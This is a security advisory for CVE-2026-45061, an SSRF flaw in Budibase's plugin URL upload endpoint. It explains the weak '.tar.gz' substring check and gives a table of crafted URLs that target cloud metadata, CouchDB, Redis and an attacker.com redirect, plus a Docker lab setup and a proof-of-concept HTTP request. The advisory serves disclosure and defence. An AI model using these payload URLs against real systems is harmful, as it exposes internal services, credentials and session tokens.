budibase
Affected
- introduced
0, fixed3.35.10(semver)
Fixed versions
3.35.10
Fix
- Fixed version
3.35.10npm install [email protected]
Advisory
Also known as: CVE-2026-45061
Budibase vulnerable to SSRF via trivial .tar.gz substring bypass in Plugin URL upload (/api/plugin)
1. Summary
| Field | Value |
|-------|-------|
| Title | SSRF via trivial .tar.gz substring bypass in Plugin URL upload |
| Product | Budibase (Self-Hosted) |
| Version | ≤ 3.34.11 (latest stable as of 2026-03-30) |
| Component | packages/server/src/api/controllers/plugin/url.ts |
| Vulnerability Type | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |
| Severity | High (chained) / Medium (standalone) |
| CVSS 3.1 Score (chained) | 7.7 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| CVSS 3.1 Score (standalone) | 5.4 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| Privileges Required | Low (Global Builder role) |
| User Interaction | None |
| Affected Deployments | All Budibase instances with plugin loading enabled (default) |
---
2. Description
The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.
Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow').
The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist — confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.
---
3. Root Cause Analysis
3.1 Trivial substring-based URL validation
File: packages/server/src/api/controllers/plugin/url.ts
// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
if (!url.includes(".tar.gz")) {
// ← ONLY validation: any URL with ".tar.gz" anywhere passes
throw new Error("Plugin must be compressed into a gzipped tarball.")
}
const path = await downloadUnzipTarball(url, name, headers)
// ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
try {
return await getPluginMetadata(path)
} catch (err) {
deleteFolderFileSystem(path)
throw err
}
}
Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.
3.2 Bypass examples
| Attack URL | includes(".tar.gz") | Actual request target |
|------------|----------------------|----------------------|
| http://169.254.169.254/.tar.gz | ✅ passes | AWS IMDS |
| http://127.0.0.1:4005/_session.tar.gz | ✅ passes | CouchDB |
| http://10.0.0.1:6379/.tar.gz | ✅ passes | Redis |
| http://attacker.com/file.tar.gz?x=http://internal/ | ✅ passes | Redirect to internal |
| http://internal-host/.tar.gz#fragment | ✅ passes | Internal service |
3.3 Developer awareness of SSRF risk on this path
File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts
// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
// ← team explicitly tests that IMDS is blocked via blacklist
})
The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.
3.4 Authorization model
| Operation | Endpoint | Required Permission |
|-----------|----------|---------------------|
| Plugin URL upload | POST /api/plugin | Global Builder |
Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.
---
4. Impact Analysis
4.1 Confidentiality — High (chained) / Low (standalone)
When chained with [001] (BLACKLIST_IPS bypass):
169.254.169.254) — IAM credentials, service account tokens127.0.0.1:4005) — application databases, user records127.0.0.1:6379) — session tokens172.16.0.0/12, 10.0.0.0/8)Standalone (with default blacklist active):
node-fetch redirect behavior and whether fetchWithBlacklist re-checks the redirected URL.4.2 Integrity — None (GET-only path)
The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.
4.3 Availability — None
No service disruption.
4.4 Scope Change (chained)
Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.
---
5. Proof of Concept
> Verification status: Code-level confirmed. End-to-end Docker test pending.
> PoC files are ready: poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py + docker-compose.yml
5.1 Environment Setup
# poc/004_plugin_url_ssrf/docker-compose.yml
services:
budibase:
image: budibase/budibase:latest
environment:
SELF_HOSTED: "1"
BLACKLIST_IPS: "" # ← enables chained SSRF (001)
JWT_SECRET: "poc_jwt_secret"
BB_ADMIN_USER_EMAIL: "[email protected]"
BB_ADMIN_USER_PASSWORD: "pocPassword123!"
ports: ["10000:10000"]
victim:
image: python:3.11-alpine
command: python -m http.server 8888
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000
5.2 Step 1 — Bypass the .tar.gz check with a crafted URL
POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json
{
"source": "URL",
"url": "http://victim:8888/.tar.gz",
"name": "poc-test"
}
The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.
5.3 Step 2 — Expected response (SSRF confirmed)
With blacklist active (default config):
{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }High Basis: The source's own band: HIGH
0, fixed 3.35.10 (semver)3.35.10
3.35.10npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0